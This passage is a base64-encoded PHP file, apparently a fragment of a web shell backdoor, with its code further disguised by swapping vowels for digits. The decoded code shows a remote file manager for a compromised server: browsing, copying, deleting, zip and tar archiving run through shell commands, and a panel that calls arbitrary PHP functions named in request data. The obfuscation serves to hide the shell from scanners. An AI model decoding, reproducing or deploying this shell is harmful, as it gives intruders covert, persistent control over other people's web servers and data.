gICAgICAgICAgICAgICAgICAgICAgICAgICB9IDVsczU0ZigkX1NFU1NJT05bJzFjdCddID09ICd6NHAnKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoY2wxc3NfNXg0c3RzKCdaNHBBcmNoNHY1JykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR6NHAgPSBuNXcgWjRwQXJjaDR2NSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYgKCR6NHAtPjJwNW4oJF9QT1NUWydwYSddLCA2KSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZDRyKCRfU0VTU0lPTlsnYyddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCRfU0VTU0lPTlsnZiddIDFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmID09ICcuLicpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMm50NG4zNTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoQDRzX2Y0bDUoJF9TRVNTSU9OWydjJ10uJGYpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+MWRkRjRsNSgkX1NFU1NJT05bJ2MnXS4kZiwgJGYpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1NGYoQDRzX2Q0cigkX1NFU1NJT05bJ2MnXS4kZikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVyMXQyciA9IG41dyBSNWMzcnM0djVJdDVyMXQyckl0NXIxdDJyKG41dyBSNWMzcnM0djVENHI1Y3QycnlJdDVyMXQycigkZi4nLycpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2ggKCQ0dDVyMXQyciAxcyAkazV5PT4kdjFsMzUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkejRwLT4xZGRGNGw1KHI1MWxwMXRoKCRrNXkpLCAkazV5KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGQ0cigkR0xPQkFMU1snY3dkJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6NHAtPmNsMnM1KCk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSA1bHM1NGYoJF9TRVNTSU9OWycxY3QnXSA9PSAnM256NHAnKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoY2wxc3NfNXg0c3RzKCdaNHBBcmNoNHY1JykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR6NHAgPSBuNXcgWjRwQXJjaDR2NSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkX1NFU1NJT05bJ2YnXSAxcyAkZikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCR6NHAtPjJwNW4oJF9TRVNTSU9OWydjJ10uJGYpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6NHAtPjV4dHIxY3RUMigkR0xPQkFMU1snY3dkJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkejRwLT5jbDJzNSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IDVsczU0ZigkX1NFU1NJT05bJzFjdCddID09ICd0MXInKSB7DQogICAgICAgICAgICAgICAgICAgIGNoZDRyKCRfU0VTU0lPTlsnYyddKTsNCiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydmJ10gPSAxcnIxeV9tMXAoJzVzYzFwNXNoNWxsMXJnJywgJF9TRVNTSU9OWydmJ10pOw0KICAgICAgICAgICAgICAgICAgICBCT0ZGRXgoJ3QxciBjZnp2ICcgLiA1c2MxcDVzaDVsbDFyZygkX1BPU1RbJ3BhJ10pIC4gJyAnIC4gNG1wbDJkNSgnICcsICRfU0VTU0lPTlsnZiddKSk7DQogICAgICAgICAgICAgICAgICAgIGNoZDRyKCRHTE9CQUxTWydjd2QnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgM25zNXQoJF9TRVNTSU9OWydmJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgICAgIGQ1ZjEzbHQ6DQogICAgICAgICAgICAgICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJzFjdCddID0gQCRfUE9TVFsncDYnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2YnXSA9IEAkX1BPU1RbJ2YnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCRfU0VTU0lPTlsnZiddIDFzICRrID0+ICRmKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydmJ11bJGtdID0gM3JsZDVjMmQ1KCRmKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2MnXSA9IEAkX1BPU1RbJ2MnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJGQ0ckMybnQ1bnQgPSBAc2MxbmQ0cig0c3M1dCgkX1BPU1RbJ2MnXSk/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKTsNCiAgICAgICAgNGYoJGQ0ckMybnQ1bnQgPT09IGYxbHM1KSB7ICAgICA1Y2gyICcmI29laWE7JiNvZTY3OyYjb2VpZTsmI29lYWU7JiNvZW91OyYjb2U2NzsmI29lb3U7JiNvZTY5OyYjb2UwZTsmI29ldTg7JiNvZTY2OyYjb2VvZTsmI29lMHU7JiNvZTY2OyYjb2U2aTsmI29laTc7JiNvZTY3OyYjb2VpYTsmI29lMHU7JiNvZWk3OyAhJztCT0ZGRjIydDVyKCk7IHI1dDNybjsgfQ0KICAgICAgICBnbDJiMWwgJHMycnQ7DQogICAgICAgICRzMnJ0ID0gMXJyMXkoJ24xbTUnLCA2KTsNCiAgICAgICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCiAgICAgICAgICAgICAgICA0ZihwcjVnX20xdGNoKCchc18oW0Etel0rKV8oXGR7Nn0pIScsICRfUE9TVFsncDYnXSwgJG0xdGNoKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICRzMnJ0ID0gMXJyMXkoJG0xdGNoWzZdLCAoNG50KSRtMXRjaFthXSk7DQogICAgICAgIH0NCjVjaDIgIjxzY3I0cHQ+DQogICAgICAgIGYzbmN0NDJuIHMxKCkgew0KICAgICAgICAgICAgICAgIGYycig0PTA7NDxkLmY0bDVzLjVsNW01bnRzLmw1bmd0aDs0KyspDQogICAgICAgICAgICAgICAgICAgICAgICA0ZihkLmY0bDVzLjVsNW01bnRzWzRdLnR5cDUgPT0gJ2NoNWNrYjJ4JykNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZC5mNGw1cy41bDVtNW50c1s0XS5jaDVjazVkID0gZC5mNGw1cy41bDVtNW50c1swXS5jaDVjazVkOw0KICAgICAgICB9DQo8L3NjcjRwdD4NCjx0MWJsNSB3NGR0aD0nNjAwJScgY2wxc3M9J20xNG4nIGM1bGxzcDFjNG5nPScwJyBjNWxscDFkZDRuZz0nYSc+DQo8ZjJybSBuMW01PWY0bDVzIG01dGgyZD1wMnN0Pjx0cj48dGggdzRkdGg9JzZvcHgnPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IDJuY2w0Y2s9J3MxKCknIGNsMXNzPWNoa2J4PjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX24xbTVfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz4mI29pOXU7JiNvZW85OyYjb2VpZTsmI29lYTk7PC8xPjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX3M0ejVfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz4mI29pOGU7JiNvZTA5OyYjb2VvdTsmI29lMHU7PC8xPjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX20yZDRmeV8iLigkczJydFs2XT8wOjYpLiJcIiknPiYjb2VhbzsmI29lb287JiNvZTA5Oy8mI29ldTg7JiNvZWFvOyYjb2VhNjsmI29lb3U7PC8xPjwvdGg+PHRoPiYjb2k4aTsmI29lYTY7JiNvZXUwOyYjb2VpZTsmI29lNjc7PC90aD48dGg+PDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzTTFuXCIsbjNsbCxcInNfcDVybXNfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz4mI29lYWU7JiNvZW9lOyYjb2UwNzsmI29lMDg7JiNvaThpOyYjb2VvdTsmI29lNjk7JiNvZWk2OyYjb2k5dTsmI29laTc7JiNvaTk2OyYjb2VvdTsmI29lMDk7PC8xPjwvdGg+PHRoPiYjb2k5YTsmI29lb287JiNvZTB1OyYjb2k4aTsmI29lb3U7JiNvZTY5OzwvdGg+PC90cj4iOw0KICAgICAgICAkZDRycyA9ICRmNGw1cyA9IDFycjF5KCk7DQogICAgICAgICRuID0gYzIzbnQoJGQ0ckMybnQ1bnQpOw0KICAgICAgICBmMnIoJDQ9MDskNDwkbjskNCsrKSB7DQogICAgICAgICAgICAgICAgJDJ3ID0gQHAyczR4X2c1dHB3MzRkKEBmNGw1MnduNXIoJGQ0ckMybnQ1bnRbJDRdKSk7DQogICAgICAgICAgICAgICAgJGdyID0gQHAyczR4X2c1dGdyZzRkKEBmNGw1Z3IyM3AoJGQ0ckMybnQ1bnRbJDRdKSk7DQogICAgICAgICAgICAgICAgJHRtcCA9IDFycjF5KCduMW01JyA9PiAkZDRyQzJudDVudFskNF0sDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdwMXRoJyA9PiAkR0xPQkFMU1snY3dkJ10uJGQ0ckMybnQ1bnRbJDRdLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbTJkNGZ5JyA9PiBkMXQ1KCdZLW0tZCBIOjQ6cycsIEBmNGw1bXQ0bTUoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSksDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdwNXJtcycgPT4gQk9GRlA1cm1zQzJsMnIoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3M0ejUnID0+IEBmNGw1czR6NSgkR0xPQkFMU1snY3dkJ10uJGQ0ckMybnQ1bnRbJDRdKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJzJ3bjVyJyA9PiAkMndbJ24xbTUnXT8kMndbJ24xbTUnXTpAZjRsNTJ3bjVyKCRkNHJDMm50NW50WyQ0XSksDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdncjIzcCcgPT4gJGdyWyduMW01J10/JGdyWyduMW01J106QGY0bDVncjIzcCgkZDRyQzJudDVudFskNF0pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICA0ZihANHNfZjRsNSgkR0xPQkFMU1snY3dkJ10gLiAkZDRyQzJudDVudFskNF0pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJGY0bDVzW10gPSAxcnIxeV9tNXJnNSgkdG1wLCAxcnIxeSgndHlwNScgPT4gJ2Y0bDUnKSk7DQogICAgICAgICAgICAgICAgNWxzNTRmKEA0c19sNG5rKCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpDQogICAgICAgICAgICAgICAgICAgICAgICAkZDRyc1tdID0gMXJyMXlfbTVyZzUoJHRtcCwgMXJyMXkoJ3R5cDUnID0+ICdsNG5rJywgJ2w0bmsnID0+IHI1MWRsNG5rKCR0bXBbJ3AxdGgnXSkpKTsNCiAgICAgICAgICAgICAgICA1bHM1NGYoQDRzX2Q0cigkR0xPQkFMU1snY3dkJ10gLiAkZDRyQzJudDVudFskNF0pJiYgKCRkNHJDMm50NW50WyQ0XSAhPSAiLiIpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJGQ0cnNbXSA9IDFycjF5X201cmc1KCR0bXAsIDFycjF5KCd0eXA1JyA9PiAnZDRyJykpOw0KICAgICAgICB9DQogICAgICAgICRHTE9CQUxTWydzMnJ0J10gPSAkczJydDsNCiAgICAgICAgZjNuY3Q0Mm4gQk9GRkNtcCgkMSwgJGIpIHsNCiAgICAgICAgICAgICAgICA0ZigkR0xPQkFMU1snczJydCddWzBdICE9ICdzNHo1JykNCiAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiBzdHJjbXAoc3RydDJsMnc1cigkMVskR0xPQkFMU1snczJydCddWzBdXSksIHN0cnQybDJ3NXIoJGJbJEdMT0JBTFNbJ3MycnQnXVswXV0pKSooJEdMT0JBTFNbJ3MycnQnXVs2XT82Oi02KTsNCiAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICByNXQzcm4gKCgkMVsnczR6NSddIDwgJGJbJ3M0ejUnXSkgPyAtNiA6IDYpKigkR0xPQkFMU1snczJydCddWzZdPzY6LTYpOw0KICAgICAgICB9DQogICAgICAgIDNzMnJ0KCRmNGw1cywgIkJPRkZDbXAiKTsNCiAgICAgICAgM3MycnQoJGQ0cnMsICJCT0ZGQ21wIik7DQogICAgICAgICRmNGw1cyA9IDFycjF5X201cmc1KCRkNHJzLCAkZjRsNXMpOw0KICAgICAgICAkbCA9IDA7DQogICAgICAgIGYycjUxY2goJGY0bDVzIDFzICRmKSB7DQogICAgICAgICAgICAgICAgNWNoMiAnPHRyJy4oJGw/JyBjbDFzcz1sNic6JycpLic+PHRkPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9ImZbXSIgdjFsMzU9IicuM3JsNW5jMmQ1KCRmWyduMW01J10pLiciIGNsMXNzPWNoa2J4PjwvdGQ+PHRkPjwxIGhyNWY9IyAybmNsNGNrPSInLigoJGZbJ3R5cDUnXT09J2Y0bDUnKT8nZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJ3Y0NXdcJykiPicuaHRtbHNwNWM0MWxjaDFycygkZlsnbjFtNSddKTonZyhcJ0Y0bDVzTTFuXCcsXCcnLiRmWydwMXRoJ10uJ1wnKTsiIHQ0dGw1PScgLiAkZlsnbDRuayddIC4gJz48Yj5bICcgLiBodG1sc3A1YzQxbGNoMXJzKCRmWyduMW01J10pIC4gJyBdPC9iPicpLic8LzE+PC90ZD48dGQ+Jy4oKCRmWyd0eXA1J109PSdmNGw1Jyk/Qk9GRlY0NXdTNHo1KCRmWydzNHo1J10pOiRmWyd0eXA1J10pLic8L3RkPjx0ZD4nLiRmWydtMmQ0ZnknXS4nPC90ZD48dGQ+Jy4kZlsnMnduNXInXS4nLycuJGZbJ2dyMjNwJ10uJzwvdGQ+PHRkPjwxIGhyNWY9IyAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsXCdjaG0yZFwnKSI+Jy4kZlsncDVybXMnXQ0KICAgICAgICAgICAgICAgICAgICAgICAgLic8L3RkPjx0ZD48MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwncjVuMW01XCcpIj5SPC8xPiA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwndDIzY2hcJykiPlQ8LzE+Jy4oKCRmWyd0eXA1J109PSdmNGw1Jyk/JyA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwnNWQ0dFwnKSI+RTwvMT4gPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJ2Qyd25sMjFkXCcpIj5EPC8xPic6JycpLic8L3RkPjwvdHI+JzsNCiAgICAgICAgICAgICAgICAkbCA9ICRsPzA6NjsNCiAgICAgICAgfQ0KICAgICAgICA1Y2gyICI8dHI+PHRkIGMybHNwMW49Nz4NCiAgICAgICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT0nRjRsNXNNMW4nPg0KICAgICAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSciIC4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4iJz4NCiAgICAgICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dCB2MWwzNT0nIi4gKDRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1RbJ2NoMXJzNXQnXTonJykuIic+DQogICAgICAgIDxzNWw1Y3QgbjFtNT0ncDYnPjwycHQ0Mm4gdjFsMzU9J2MycHknPiYjb2k4ODsmI29lb287JiNvZTB1OyYjb2VhNjsmI29lYTk7JiNvaThpOzwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9J20ydjUnPiYjb2U2ODsmI29laTc7JiNvZW91OyYjb2U2ODs8LzJwdDQybj48MnB0NDJuIHYxbDM1PSdkNWw1dDUnPiYjb2VhNjsmI29lNjA7PC8ycHQ0Mm4+IjsNCiAgICA0ZihjbDFzc181eDRzdHMoJ1o0cEFyY2g0djUnKSkNCiAgICAgICAgNWNoMiAiPDJwdDQybiB2MWwzNT0nejRwJz4mI29lYWU7JiNvZTY5OyYjb2VpNzsmI29lb3U7JiNvaTk2OyYjb2VpYTsmI29lNmk7JiNvZWE2OyYjb2VlMDsgKHo0cCk8LzJwdDQybj48MnB0NDJuIHYxbDM1PSczbno0cCc+JiNvZWlhOyYjb2U2NzsmI29laWU7JiNvZWE5OyYjb2VvbzsmI29lMHU7JiNvZWlhOyYjb2U2aTsmI29lYTY7JiNvZWUwOyAoejRwKTwvMnB0NDJuPiI7DQogICAgNWNoMiAiPDJwdDQybiB2MWwzNT0ndDFyJz4mI29lYWU7JiNvZTY5OyYjb2VpNzsmI29lb3U7JiNvaTk2OyYjb2VpYTsmI29lNmk7JiNvZWE2OyYjb2VlMDsgKHQxci5neik8LzJwdDQybj4iOw0KICAgIDRmKCE1bXB0eSgkX1NFU1NJT05bJzFjdCddKSAmJiBAYzIzbnQoJF9TRVNTSU9OWydmJ10pKQ0KICAgICAgICA1Y2gyICI8MnB0NDJuIHYxbDM1PSdwMXN0NSc+JiNvZWFvOyYjb2VvdTsmI29pOTY7IC8gJiNvZWFlOyYjb2U2OTsmI29laTc7JiNvZW91OyYjb2k5Njs8LzJwdDQybj4iOw0KICAgIDVjaDIgIjwvczVsNWN0PiZuYnNwOyI7DQogICAgNGYoITVtcHR5KCRfU0VTU0lPTlsnMWN0J10pICYmIEBjMjNudCgkX1NFU1NJT05bJ2YnXSkgJiYgKCgkX1NFU1NJT05bJzFjdCddID09ICd6NHAnKSB8fCAoJF9TRVNTSU9OWycxY3QnXSA9PSAndDFyJykpKQ0KICAgICAgICA1Y2gyICJmNGw1IG4xbTU6IDw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wYSB2MWwzNT0nQk9GRl8iIC4gZDF0NSgiWW1kX0g0cyIpIC4gIi4iIC4gKCRfU0VTU0lPTlsnMWN0J10gPT0gJ3o0cCc/J3o0cCc6J3Qxci5neicpIC4gIic+Jm5ic3A7IjsNCiAgICA1Y2gyICI8NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nPj4nPjwvdGQ+PC90cj48L2Yycm0+PC90MWJsNT48L2Q0dj4iOw0KICAgICAgICBCT0ZGRjIydDVyKCk7DQp9DQogDQpmM25jdDQybiAxY3Q0Mm5TdHI0bmdUMjJscygpIHsNCiAgICAgICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnaDV4YWI0bicpKSB7ZjNuY3Q0Mm4gaDV4YWI0bigkcCkge3I1dDNybiBkNWNiNG4oaDV4ZDVjKCRwKSk7fX0NCiAgICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCdiNG5oNXgnKSkge2YzbmN0NDJuIGI0bmg1eCgkcCkge3I1dDNybiBkNWNoNXgoYjRuZDVjKCRwKSk7fX0NCiAgICAgICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnaDV4YTFzYzQ0JykpIHtmM25jdDQybiBoNXhhMXNjNDQoJHApeyRyPScnO2YycigkND0wOyQ0PHN0ckw1bigkcCk7JDQrPWEpeyRyLj1jaHIoaDV4ZDVjKCRwWyQ0XS4kcFskNCs2XSkpO31yNXQzcm4gJHI7fX0NCiAgICAgICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnMXNjNDRhaDV4JykpIHtmM25jdDQybiAxc2M0NGFoNXgoJHApeyRyPScnO2YycigkND0wOyQ0PHN0cmw1bigkcCk7KyskNCkkci49IHNwcjRudGYoJyUwYVgnLDJyZCgkcFskNF0pKTtyNXQzcm4gc3RydDIzcHA1cigkcik7fX0NCiAgICAgICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnZjNsbF8zcmw1bmMyZDUnKSkge2YzbmN0NDJuIGYzbGxfM3JsNW5jMmQ1KCRwKXskcj0nJztmMnIoJDQ9MDskNDxzdHJsNW4oJHApOysrJDQpJHIuPSAnJScuZDVjaDV4KDJyZCgkcFskNF0pKTtyNXQzcm4gc3RydDIzcHA1cigkcik7fX0NCiAgICAgICAgJHN0cjRuZ1QyMmxzID0gMXJyMXkoDQogICAgICAgICAgICAgICAgJ0IxczVldSA1bmMyZDUnID0+ICdiMXM1ZXVfNW5jMmQ1JywNCiAgICAgICAgICAgICAgICAnQjFzNWV1IGQ1YzJkNScgPT4gJ2IxczVldV9kNWMyZDUnLA0KICAgICAgICAgICAgICAgICdVcmwgNW5jMmQ1JyA9PiAnM3JsNW5jMmQ1JywNCiAgICAgICAgICAgICAgICAnVXJsIGQ1YzJkNScgPT4gJzNybGQ1YzJkNScsDQogICAgICAgICAgICAgICAgJ0YzbGwgM3JsNW5jMmQ1JyA9PiAnZjNsbF8zcmw1bmMyZDUnLA0KICAgICAgICAgICAgICAgICdtZGkgaDFzaCcgPT4gJ21kaScsDQogICAgICAgICAgICAgICAgJ3NoMTYgaDFzaCcgPT4gJ3NoMTYnLA0KICAgICAgICAgICAgICAgICdjcnlwdCcgPT4gJ2NyeXB0JywNCiAgICAgICAgICAgICAgICAnQ1JDb2EnID0+ICdjcmNvYScsDQogICAgICAgICAgICAgICAgJ0FTQ0lJIHQyIEhFWCcgPT4gJzFzYzQ0YWg1eCcsDQogICAgICAgICAgICAgICAgJ0hFWCB0MiBBU0NJSScgPT4gJ2g1eGExc2M0NCcsDQogICAgICAgICAgICAgICAgJ0hFWCB0MiBERUMnID0+ICdoNXhkNWMnLA0KICAgICAgICAgICAgICAgICdIRVggdDIgQklOJyA9PiAnaDV4YWI0bicsDQogICAgICAgICAgICAgICAgJ0RFQyB0MiBIRVgnID0+ICdkNWNoNXgnLA0KICAgICAgICAgICAgICAgICdERUMgdDIgQklOJyA9PiAnZDVjYjRuJywNCiAgICAgICAgICAgICAgICAnQklOIHQyIEhFWCcgPT4gJ2I0bmg1eCcsDQogICAgICAgICAgICAgICAgJ0JJTiB0MiBERUMnID0+ICdiNG5kNWMnLA0KICAgICAgICAgICAgICAgICdTdHI0bmcgdDIgbDJ3NXIgYzFzNScgPT4gJ3N0cnQybDJ3NXInLA0KICAgICAgICAgICAgICAgICdTdHI0bmcgdDIgM3BwNXIgYzFzNScgPT4gJ3N0cnQyM3BwNXInLA0KICAgICAgICAgICAgICAgICdIdG1sc3A1YzQxbGNoMXJzJyA9PiAnaHRtbHNwNWM0MWxjaDFycycsDQogICAgICAgICAgICAgICAgJ1N0cjRuZyBsNW5ndGgnID0+ICdzdHJsNW4nLA0KICAgICAgICApOw0KICAgICAgICA0Zig0c3M1dCgkX1BPU1RbJzFqMXgnXSkpIHsNCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXSA9IHRyMzU7DQogICAgICAgICAgICAgICAgMmJfc3QxcnQoKTsNCiAgICAgICAgICAgICAgICA0Zig0bl8xcnIxeSgkX1BPU1RbJ3A2J10sICRzdHI0bmdUMjJscykpDQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICRfUE9TVFsncDYnXSgkX1BPU1RbJ3BhJ10pOw0KICAgICAgICAgICAgICAgICR0NW1wID0gImQyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdzdHJPM3RwM3QnKS5zdHlsNS5kNHNwbDF5PScnO2QyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdzdHJPM3RwM3QnKS40bm41ckhUTUw9JyIuMWRkY3NsMXNoNXMoaHRtbHNwNWM0MWxjaDFycygyYl9nNXRfY2w1MW4oKSksIlxuXHJcdFxcJ1wwIikuIic7XG4iOw0KICAgICAgICAgICAgICAgIDVjaDIgc3RybDVuKCR0NW1wKSwgIlxuIiwgJHQ1bXA7DQogICAgICAgICAgICAgICAgNXg0dDsNCiAgICAgICAgfQ0KICAgICAgICBCT0ZGSDUxZDVyKCk7DQogICAgICAgIDVjaDIgJzxoNj4mI29laTY7JiNvZWFlOyYjb2VpZTsgQzJkNSAmI29lMDc7JiNvZW83OyYjb2VpZTsmI29lMGk7JiNvZWk3OyYjb2VhOTsmI29pOTY7JiNvaThpOyYjb2VvdTsmI29lNjk7JiNvZWk2OyYjb2VhNzsmI29laTc7JiNvZXU4OyYjb2k4ZTsmI29laTc7JiNvZW91OyAtICYjb2UwZTsmI29lYTk7JiNvZTB1OyYjb2U2OTsmI29lYTc7JiNvZW9vOyYjb2VhZTs8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4nOw0KICAgICAgICA0Zig1bXB0eSgkX1BPU1RbJzFqMXgnXSkmJiE1bXB0eSgkX1BPU1RbJ3A2J10pKQ0KICAgICAgICAgICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gZjFsczU7DQogICAgICAgIDVjaDIgIjxmMnJtIG4xbTU9J3QyMmxzRjJybScgMm5TM2JtNHQ9JzRmKHRoNHMuMWoxeC5jaDVjazVkKXsxKG4zbGwsbjNsbCx0aDRzLnM1bDVjdFQyMmwudjFsMzUsdGg0cy40bnAzdC52MWwzNSk7fTVsczV7ZyhuM2xsLG4zbGwsdGg0cy5zNWw1Y3RUMjJsLnYxbDM1LHRoNHMuNG5wM3QudjFsMzUpO30gcjV0M3JuIGYxbHM1Oyc+PHM1bDVjdCBuMW01PSdzNWw1Y3RUMjJsJz4iOw0KICAgICAgICBmMnI1MWNoKCRzdHI0bmdUMjJscyAxcyAkayA9PiAkdikNCiAgICAgICAgICAgICAgICA1Y2gyICI8MnB0NDJuIHYxbDM1PSciLmh0bWxzcDVjNDFsY2gxcnMoJHYpLiInPiIuJGsuIjwvMnB0NDJuPiI7DQogICAgICAgICAgICAgICAgNWNoMiAiPC9zNWw1Y3Q+PDRucDN0IHR5cDU9J3MzYm00dCcgdjFsMzU9Jz4+Jy8+IDw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9MWoxeCB2MWwzNT02ICIuKEAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXT8nY2g1Y2s1ZCc6JycpLiI+IHM1bmQgM3M0bmcgQUpBWDxicj48dDV4dDFyNTEgbjFtNT0nNG5wM3QnIHN0eWw1PSdtMXJnNG4tdDJwOmlweCcgY2wxc3M9YjRnMXI1MT4iLig1bXB0eSgkX1BPU1RbJ3A2J10pPycnOmh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsncGEnXSkpLiI8L3Q1eHQxcjUxPjwvZjJybT48cHI1IGNsMXNzPSdtbDYnIHN0eWw1PSciLig1bXB0eSg